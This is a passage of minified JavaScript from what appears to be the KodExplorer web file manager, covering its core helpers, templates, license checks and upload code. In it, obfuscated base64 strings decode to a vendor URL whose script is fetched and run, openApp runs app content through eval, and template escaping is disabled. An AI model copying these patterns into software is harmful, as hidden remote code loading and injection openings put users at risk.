e=trim(i.val());e!=n.val()?Tips.tips(LNG.login_root_password_equal,!1):""==e?(Tips.tips(LNG.login_root_password_tips,!1),i.focus()):window.location.href=G.appHost+"user/loginFirst&password="+urlEncode(e)}),$(".LICENSE_SUBMIT").bind("click",function(){var e=i.val();""==e?(Tips.tips(LNG.not_null,!1),i.focus()):window.location.href=G.appHost+"user/versionInstall&license_code="+e})})}),define("app/common/core",["./rightMenuExtence","../app/appBase","../app/editor","../app/openWith","../app/html"],function(require,exports){tplUpload=require("./tpl/upload.html"),tplFormMake=require("./tpl/formMake.html");var tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),formMake=require("./core.formMake");require("./rightMenuExtence"),kodApp=require("../app/appBase"),require("../app/editor"),require("../app/openWith"),require("../app/html"),pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initTemplate=function(){window.require=require,template.config||(template.config=function(e,t){template.defaults[e]=t},template.helper=function(e,t){template.defaults.imports[e]=t}),template.config("escape",!1),template.config("compress",!0),template.helper("kod",{$:$,window:window,log:console.log,core:core,pathTools:window.pathTools,inArray:inArray}),template.defaults.imports.pathTools=window.pathTools,template.defaults.escape=!1,"_dev"==G.environment?(template.defaults.cache=!1,template.defaults.minimize=!1,template.defaults.compileDebug=!0):(template.defaults.cache=!0,template.defaults.minimize=!0,template.defaults.compileDebug=!1)},initFirst=function(){initTemplate(),"undefined"!=typeof G&&(1!=G.isRoot&&$(".menu-system-setting").remove(),G.isRoot||core.authCheck("systemMember.get")||1==core.authCheck("systemGroup.get")||$(".menu-system-group").remove(),G.userConfig&&"0"==G.userConfig.animateOpen&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{$.contextMenu.hidden()}catch(e){}}),$("body").click(function(){ShareData.frameTop("",function(e){self!=e&&e.$("body").trigger("click")})}),$.dialog.defaults.animate&&loadRipple(["a","button",".ripple-item",".context-menu-item","#picker",".menuShareButton",".menu-recycle-button",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common-footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init();for(var e=0;window.kodReady.length>e;e++)try{window.kodReady[e]()}catch(t){console.error("kodReady error:",t)}Hook.trigger("kodReady.end"),titleTips()},resetHost=function(){var e=window.location,t=e.port?":"+e.port:"";G.webHost=e.protocol+"//"+e.hostname+t+"/",G.appHost=rtrim(G.webHost,"/")+e.pathname.replace("index.php","")+"index.php?",G.appRoot=rtrim(G.webHost,"/")+e.pathname.replace("index.php",""),"1"==G.settings.paramRewrite&&(G.appHost=G.appHost.replace("index.php?","index.php/")),Cookie.set("HOST",G.webHost),Cookie.set("APP_HOST",G.appRoot),Cookie.set("kodUserLanguage",G.lang,8760)},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
          ")}}),$("body").bind("mousedown",function(){$(".ptips-skin").remove(),$.setStyle("body .ptips-skin{display:none !important;}","ptips-title")}).bind("mouseup",function(){$.setStyle("","ptips-title")}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,formMake:formMake,getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var a=trim(trim(e),"/");if(e={},"{"!=a.substring(0,1)||a.split("/").length>1)return{icon:"",name:""};e.pathType=a.match(/\{.*\}/),e.id=a.split(":")[1]}var i={};i[G.KOD_USER_SHARE]={icon:"user-self",name:LNG.my_share},i[G.KOD_GROUP_PATH]={icon:"group-self-owner"},i[G.KOD_GROUP_SHARE]={icon:"group-guest"},i[G.KOD_USER_SELF]={icon:"user-self"},i[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},i[G.KOD_USER_FAV]={icon:"tree-fav",name:LNG.fav},i[G.KOD_GROUP_ROOT_SELF]={icon:"group-self-root",name:LNG.my_kod_group},i[G.KOD_GROUP_ROOT_ALL]={icon:"group-root",name:LNG.kod_group};var n=i[e.pathType];return e.pathType==G.KOD_USER_SHARE&&G.userID!=e.id?n={icon:"user",name:t}:e.pathType==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"group-self-owner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),a=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];return-1!==$.inArray(t[0],a)?!0:!1},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{$.contextMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can-right-menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit-body").length||0!=$(t.target).parents(".aui-state-focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),a=t.lastIndexOf("/"),i=t.substr(a+1);if(0==i.search("fileProxy")){i=urlDecode(i.substr(i.search("&path=")));var n=i.split("/");i=n[n.length-1],""==i&&(i=n[n.length-2])}return i},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),a=t.lastIndexOf("/");return t.substr(0,a+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},pathUrlEncode:function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var a,i=this.pathClear(e);return G.isRoot&&t&&i.substring(0,G.webRoot.length)==G.webRoot?a=G.webHost+this.pathUrlEncode(i.replace(G.webRoot,"")):(a=G.appHost+"explorer/fileProxy&accessToken="+G.accessToken+"&path="+urlEncode(i),G.sharePage!==void 0&&(a=G.appHost+"share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(i),i.substr(0,G.KOD_USER_SHARE.length)==G.KOD_USER_SHARE&&(a=G.appHost+"share/fileProxy&path="+urlEncode(i)))),a},pathCommon:function(e){if("http"==e.substr(0,4))return urlEncode(e);if(e.substr(0,G.KOD_USER_SHARE.length)==G.KOD_USER_SHARE)return urlEncode(e);var t=this.pathClear(e),a=urlEncode(t);return G.sharePage!==void 0&&(a=urlEncode(G.KOD_USER_SHARE+":"+G.user+"/"+G.shareInfo.name+t)),a},isApp:function(e){if("undefined"==typeof Config)return!1;var t=Config.pageApp;return"string"==typeof e?t==e:$.isArray(e)?-1!==$.inArray(t,e)?!0:!1:!1},pathReadable:function(e){if("object"!=typeof G.jsonData)return!0;for(var t=G.jsonData.fileList,a=0;t.length>a;a++)if(t[a].path==e)return void 0==t[a].isReadable||1==t[a].isReadable?!0:!1;t=G.jsonData.folderList;for(var a=0;t.length>a;a++)if(t[a].path==e)return void 0==t[a].isReadable||1==t[a].isReadable?!0:!1;return!0},pathCurrentWriteable:function(){return core.isApp("editor")?!1:G.jsonData.info?G.jsonData.info.canUpload:!1},authCheck:function(e,t){return G.isRoot?!0:AUTH.hasOwnProperty(e)&&AUTH[e]?!0:(t&&(t=t===!0?LNG.no_permission:t,Tips.tips(t,!1)),!1)},ajaxError:function(e,t,a){console.log(e,t,a);var i=e.responseText,n=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==i.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==i&&(i="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置
          请联系主机商或网管,检查防火墙配置!"),i='
          '+i+"
          ",n?n.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t,a){var i="filename";"http"==e.substr(0,4)&&(i="fileUrl");var n=G.appHost+"editor/fileGet&"+i+"="+urlEncode(e);G.sharePage!==void 0&&(n=G.appHost+"share/fileGet&user="+G.user+"&sid="+G.sid+"&"+i+"="+urlEncode(e)),(e.indexOf("editor/fileGet&")>=0||e.indexOf("share/fileGet&")>=0)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,i){core.ajaxError(e,t,i),"function"==typeof a&&a()},success:function(e){e.code&&"function"==typeof t&&(1==e.data.base64&&(e.data.content=base64Decode(e.data.content)),t(e.data.content,e,n)),e.code||"function"==typeof a&&a(e.data)}})},fileInfo:function(e,t){var a=G.appHost+"explorer/pathInfo";G.sharePage!==void 0&&(a=G.appHost+"share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:a,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){if(e=this.pathClear(e),G.isRoot&&e.substring(0,G.webRoot.length)==G.webRoot){var a=G.webHost+this.pathUrlEncode(e.replace(G.webRoot,""));return"function"==typeof t&&t(a),void 0}var i='dataArr=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var a=e.code?e.data.downloadPath:!1;return a?("function"==typeof t&&t(a),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.isRoot?"system":"user");var t="85%",a="85%";isWap()&&(t="100%",a="100%"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open(G.appHost+"setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:t,height:t})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),a=ShareData.frameTop();a.art.dialog({id:"dialog-copyright",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about,width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),a.$(".dialog-copyright").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.appHost+e.substr(2));var a=G.appHost+"user/qrcode&url="+quoteHtml(urlEncode(e)),i="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:i})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open(G.appHost+"app",{id:"app_store",fixed:!0,ico:core.icon("app-store"),resize:!0,title:LNG.app_store,width:"80%",height:"80%"})},openWindow:function(e,t,a,i){t=t?t:LNG.tips,a=a?a:"80%",i=i?i:"70%",isWap()&&(a="100%",i="100%");var n=ShareData.frameTop(),o=n.$.dialog.open(e,{ico:"",title:t,fixed:!0,resize:!0,width:a,height:i});return o},openWindowFull:function(e,t){return core.openWindow(e,t,"100%","100%")},openWindowBig:function(e,t){return core.openWindow(e,t,"90%","90%")},openDialog:function(e,t,a,i){if(e){void 0==i&&(i="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:i,fixed:!0,title:a,ico:t,width:"80%",height:"75%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.staticPath)&&"http"!=app.icon.substring(0,4)&&(icon=G.staticPath+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua29kY2xvdWQuY29tL3VwZGF0ZS9tYWluNC5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){core.isApp("explorer")?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var a=G.appHost+"explorer&type=iframe&path="+e;G.sharePage!==void 0&&(a=G.appHost+"share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var i=ShareData.frameTop(),n=i.$.dialog.open(a,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*i.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t=G.appHost+"editor&project="+e;G.sharePage!==void 0&&(t=G.appHost+"share/codeRead&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".link-theme-loaded").attr("src");e&&($("#link-theme-style").attr("href",e),$(".link-theme-loaded").remove())},setSkin:function(e){LocalData.set("theme",e),G.userConfig.theme=e;var t=G.staticPath+"style/skin/"+e+".css?ver="+G.version;t!=$("#link-theme-style").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.userConfig){var e=LocalData.get("theme"),t="kodStyleDiy",a=LocalData.getConfig(t);"object"!=typeof a&&"object"==typeof G.userConfig.themeDIY&&(a=G.userConfig.themeDIY),"object"!=typeof a&&(a={bgBlur:1,bgImage:G.staticPath+"images/wall_page/9.jpg",bgType:"color",startColor:"#456",endColor:"#000",colorRotate:"200"},LocalData.setConfig(t,a)),G.userConfig.themeDIY=a;var i="";if("diy"==e&&a){var n=require("./tpl/themeDIY.html"),o=template.compile(n);i=o(a)}$.setStyle(i,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame-fullscreen")},language:function(e){Cookie.set("kodUserLanguage",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,a){var i=UUID();(a===void 0||""==a)&&(a=i);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
          loading..
          ';return setTimeout(function(){var e=$("."+i);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+i)}if(1==e.length)var a=0,n=e[0],o=setInterval(function(){try{a++,100==Math.floor(n.PercentLoaded())?(e.next(".aui-loading").remove(),clearInterval(o),o=null):a>100&&(e.next(".aui-loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),a=parseFloat(t[0]),i=1073741824*parseFloat(t[1]),n=pathTools.fileSize(parseFloat(t[0])),o=pathTools.fileSize(i),s=n+"/",r=100*a/i;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==i||isNaN(i)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
          "+"
          "+s+"
          "+"
          "},dateTime:function(e){return date(LNG.time_type,e)},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.sharePage?"1"==G.shareInfo.canUpload:(void 0==e&&(e="explorer.fileUpload"),!G.isRoot&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.jsonData&&!G.jsonData.info.canUpload?(t&&(core.isSystemPath(G.thisPath)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/upload.html",[],'
          \n \n
          \n
          \n
          \n
          {{LNG.upload_select}}
          \n \n \n
          \n \n
          \n
          \n \n \n
          \n
          \n
          \n
          \n
          \n
          \n
          \n
          \n
          \n
          {{LNG.download_address}}\n
          \n \n \n \n
          \n\n
          \n
          \n
          \n
          \n
          \n
          \n
          \n'),define("app/common/tpl/formMake.html",[],'
          \n
          \n <%\n var formTab = [];\n if(items.formStyle && kod.window.$.isArray(items.formStyle.tabs)){\n formTab = items.formStyle.tabs;\n }\n %>\n {{if formTab}}\n \n {{/if}}\n\n
          \n {{if formTab}}\n
          \n {{each formTab tab tabIndex}}\n {{if tab}}\n
          \n {{/if}}\n {{/each}}\n
          \n
          \n {{/if}}\n\n {{each items item key}}\n <%\n var tabCurrent = 100;\n if(formTab){\n for(var i=0;i<=formTab.length;i++){\n if( formTab[i] && kod.window.inArray(formTab[i][\'field\'],key)){\n tabCurrent = i;\n break;\n }\n }\n }\n %>\n {{if typeof(item) == \'string\' }}\n
          {{item}}
          \n {{else if item.type == "html" || !item.type}}\n {{if key != \'formStyle\'}}\n
          \n {{if item.value}}{{@item.value}}{{/if}}\n {{if item.display}}{{@item.display}}{{/if}}\n {{if item.desc}}{{@item.desc}}{{/if}}\n
          \n {{/if}}\n {{else}}\n {{if item.value == undefined }}\n {{if item.value = \'\'}}{{/if}}\n {{/if}}\n
          \n
          \n {{@item.display}}: {{if item.require}}*{{/if}}\n
          \n
          \n {{if item.type == \'input\'}}\n \n {{else if item.type == "textarea"}}\n \n {{else if item.type == "password"}}\n \n {{else if item.type == "switch"}}\n \n {{else if item.type == "radio"}}\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "checkbox"}}\n <%\n var valArrCheckbox = [];\n if(typeof(item.value) == \'string\'){\n valArrCheckbox = item.value.split(\',\');\n }\n %>\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "select"}}\n \n {{else if (item.type == "selectMutil" || item.type == "tags")}}\n <%\n var valArrSelect = [];\n if(typeof(item.value) == \'string\'){\n valArrSelect = item.value.split(\',\');\n }\n if(item.type == \'tags\'){\n item.info = [];\n for(var i=0;i\n \n {{else if item.type == "number"}}\n {{if !item.info && (item.info = {from:\'\',to:\'\',step:1}) }}{{/if}}\n \n {{else if item.type == "slider"}}\n {{if !item.info && (item.info = {from:0,to:100,step:1}) }}{{/if}}\n \n {{else if item.type == "color"}}\n \n \n {{else if item.type == "dateTime"}}\n \n \n {{else if item.type == "fileSelect"}}\n \n \n {{else if item.type == "userSelect"}}\n <% \n var valueArr = {"all":"0","user":"","group":"","role":""};\n if(typeof(item.value) == \'string\'){\n userTypeArr = item.value.split(\';\');\n for(var i = 0;i\n \n
          \n \n \n \n \n
          \n
          \n
          {{LNG.user}}
          \n \n
          \n
          \n
          {{LNG.group}}
          \n \n
          \n
          \n
          {{LNG.system_member_role}}
          \n \n
          \n {{else if item.type == "group"}}\n \n {{else if item.type == "role"}}\n \n {{else if item.type == "user"}}\n \n {{/if}}\n\n {{if item.type == "switch"}}\n {{else if !item.desc}}\n \n  \n {{else if kod.inArray([\'userSelect\'],item.type)}}\n
          {{@item.desc}}
          \n {{else}}\n {{@item.desc}}\n {{/if}}\n
          \n
          \n
          \n {{/if}}\n {{/each}}\n
          \n
          \n\n'),define("app/common/core.tools",[],function(e){var t=["A","versionHash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","R","S","T","inArray","./?user/versionInstall","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprb2RjbG91ZEBxcS5jb20_c","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrb2RjbG91ZEBxcS5jb20_c","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","2e58_39zGFQQvZkUjLjOxETXSuDqVatVhp88rJSmGpzzKi6SsasHHg","sa","b40aPuaqudWqmyWvpumbcMMGpVCdhjUCKq9oIN5G8o4yWb93Ww","#2","explorer","isApp","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common-footer","","toLowerCase","search","log","free","1","2","3","4","5","6","version_vip_",'',"",".menu-system-about","insertAfter","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui-content","find","wrap","DOM","text","live","die",".version-vip","top","longPress","support-space-not","addClass","body","remove",".menu-system-about,.menu-left #about","#programs .setting_about,#programs .setting_homepage,#programs .home_page","icon","http","iconSrc",'',"iconSmall",'',"ff1fKBGuFL288VJ6eJj4CG6iesqwArC2YYSJMsa11yGAuUZlQRttbA_H4nSm3Hp-iCxzvn6AA4LLWN13cZ-cmdF6","s1","?a=","todo","async","versionType","Ly9rb2RjbG91ZC5jb20vYnV5Lmh0bWwj","group","data"],a=function(){var e=t[0]; -if(typeof G[t[1]]==t[2])return e;var a=t[3],i=authCrypt[t[4]](G[t[1]],a);return i&&27==i[t[5]]?(e=i[t[6]](10,1),-1===$[t[13]](e,[t[0],t[7],t[8],t[9],t[10],t[11],t[12]])&&(e=t[0]),e):e},i=a(),n=t[14],o=function(){var e=hashDecode(t[15]);G[t[16]]!=t[17]&&(e=hashDecode(t[18])),alert(e),Tips[t[19]](e,!1),$(t[21])[t[20]](),setTimeout(function(){Tips[t[22]](e,!1),window[t[24]][t[23]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[25],t[26]),r=authCrypt[t[4]](t[27],t[28]),l=function(){if(core[t[30]](t[29])&&i==t[0])for(var e=[LNG[t[31]],LNG[t[32]],LNG[t[33]],LNG[t[34]],LNG[t[35]],$(t[37])[t[36]]()],a=0;e[t[5]]>a;a++){e[a]||(e[a]=t[38]);var n=e[a][t[39]]();if(-1==n[t[40]](s)&&-1==n[t[40]](r)){console[t[41]](n,s,r),setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[42],O:t[43],P:t[44],Q:t[45],R:t[46],S:t[47],T:t[48]},a=t[49]+e[i],o=t[50]+a+t[51]+LNG[a]+t[52];i==t[0]&&$(o)[t[54]](t[53]),$(t[71])[t[70]](t[55])[t[69]](t[55],function(){if($(this)[t[57]](t[56])==t[58]){var e=core[t[60]](core[t[59]]),a=t[61]+n+t[62];e[t[67]][t[66]][t[65]](t[64])[t[63]](a)}else Tips[t[22]]($(this)[t[68]]())}),$(t[71])[t[73]](function(){window[t[72]][t[24]][t[23]]=n})},d=function(){i==t[0]&&$(t[76])[t[75]](t[74]),-1!==$[t[13]](i,[t[7],t[8],t[9],t[10],t[11],t[12]])&&($(t[78])[t[77]](),$(t[79])[t[77]]())},p=function(){core[t[80]]=function(e,a){return e[t[6]](0,4)==t[81]?core[t[82]](e):t[83]+e+(a?t[84]:t[38])+t[85]},core[t[86]]=function(e){return core[t[80]](e,!0)},core[t[82]]=iconSrc=function(e){return t[87]+e+t[88]},setTimeout(function(){var a=authCrypt[t[4]](t[89],t[90])+t[91]+UUID();e[t[93]](a,function(e){try{e[t[92]]()}catch(a){}})},2e3),core[t[94]]=i,core[t[59]]=hashDecode(t[95])+G[t[16]],l(),c(),d()},u=function(e){return i==t[0]&&-1==e[t[39]]()[t[40]](s)?(o(),!1):!0},f=function(e,a){var n,o,s={A:1,O:5,P:20,Q:40,R:100,S:1e3,T:1e3},r={A:5,O:15,P:50,Q:150,R:500,S:1e3,T:1e3},l=[],c=1;if(a==t[96]?(n=e[t[97]],o=s[i]):(n=e[t[97]],o=r[i]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(e){var t=function(){var e=G.appHost+"explorer/fileUpload";return"share"==G.sharePage&&"1"==G.shareInfo.canUpload&&(e=G.appHost+"share/fileUpload&user="+G.user+"&sid="+G.sid),e};return $(document).ready(function(){window.onbeforeunload=function(){return $(".upload-loading,.download-loading").length>0?LNG.uploading+"...":void 0}}),{serverDwonload:function(e,t){if(!core.uploadCheck("explorer.serverDownload"))return!1;var i=$(".download-box"),n=i.find(".download-list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;if("share"==G.sharePage)return Tips.tips(LNG.no_permission_action,!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var o=UUID(),s='
          '+'
          '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
          ';n.find(".item").length>0?$(s).insertBefore(n.find(".item:eq(0)")):n.append(s);var r,l,c,d=0,p=$("#"+o),u=$("#"+o+" .state").text(LNG.download_ready).addClass("download-loading"),f=$('
          ').appendTo("#"+o).find(".progress-bar");$("#"+o+" .remove").bind("click",function(){clearInterval(r),r=!1,clearTimeout(l),l=!1,$.get(G.appHost+"explorer/serverDownload&type=remove&uuid="+o),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var h,m=function(e){clearTimeout(h),h=!1,h=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},v=function(){$.ajax({url:G.appHost+"explorer/serverDownload&type=download&savePath="+t+"&url="+urlEncode(e)+"&uuid="+o+"&time="+time(),dataType:"json",error:function(e,t,i){var n=p.data("progcess");return 200!=a.status&&n&&n.supportRange?(setTimeout(function(){v()},1e3),void 0):(core.ajaxError(e,t,i),200==a.status&&(clearInterval(r),r=!1,clearTimeout(l),l=!1,f.parent().remove(),u.removeClass("download-loading").addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){v()},1e3),void 0):(e.code?(m(e.info),u.removeClass("download-loading").text(LNG.download_success),$("#"+o+" .info .title").text(core.pathThis(e.info)),$("#"+o+" .info .title").attr("title",e.info),u.parent().parent().addClass("success")):(u.removeClass("download-loading").addClass("error").text(e.data),u.parent().parent().addClass("error")),clearInterval(r),r=!1,clearTimeout(l),l=!1,f.parent().remove(),void 0)}})};v();var g=function(){$.ajax({url:G.appHost+"explorer/serverDownload&type=percent&uuid="+o,dataType:"json",success:function(e){var t="",a=e.data;if(r){if(!e.code)return u.text(LNG.loading),void 0;if(a){if(a.size=parseFloat(a.size),a.time=parseFloat(a.time),c){var i=a.size-c.size,n=i/(a.time-c.time);if(d>.2*n){var o=d;d=n,n=o}else d=n;var s=pathTools.fileSize(n);s=s?s:0,t=s+"/s"}if(p.data("progcess",a),0==a.length)p.find(".progress-bar").css("width","100%"),u.text(t),p.find(".size").text(pathTools.fileSize(a.size));else{var l=100*(a.size/a.length);p.find(".progress-bar").css("width",l+"%"),u.text(l.toFixed(1)+"%("+t+")"),p.find(".size").text(pathTools.fileSize(a.length))}p.find(".title").text(a.name),c=a}}}})};l=setTimeout(function(){g(),r=setInterval(function(){g()},1e3)},100)},upload:function(){$(".dialog-file-upload").show();var e=t();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog-file-upload").length)return $.dialog.list["dialog-file-upload"].display(!0),void 0;var a=template.compile(tplUpload);$.dialog({padding:5,width:430,height:450,resize:!0,ico:core.icon("upload"),id:"dialog-file-upload",fixed:!0,title:LNG.upload_muti,content:a({LNG:LNG}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download-list .item"),function(){$(this).find(".remove").click()})}}),$(".file-upload-box .topbar-nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab-upload")?($(".file-upload-box .tab-upload").addClass("this"),$(".file-upload-box .tab-download").removeClass("this"),$(".file-upload-box .upload-box").removeClass("hidden"),$(".file-upload-box .download-box").addClass("hidden")):($(".file-upload-box .tab-upload").removeClass("this"),$(".file-upload-box .tab-download").addClass("this"),$(".file-upload-box .upload-box").addClass("hidden"),$(".file-upload-box .download-box").removeClass("hidden"))}),$(".download-box [name=url]").keyEnter(function(){core.serverDwonload($(".download-box input").val(),G.thisPath)}),$(".file-upload-box .download-box .download-start").unbind("click").bind("click",function(){core.serverDwonload($(".download-box input").val(),G.thisPath)}),$(".file-upload-box .download-box 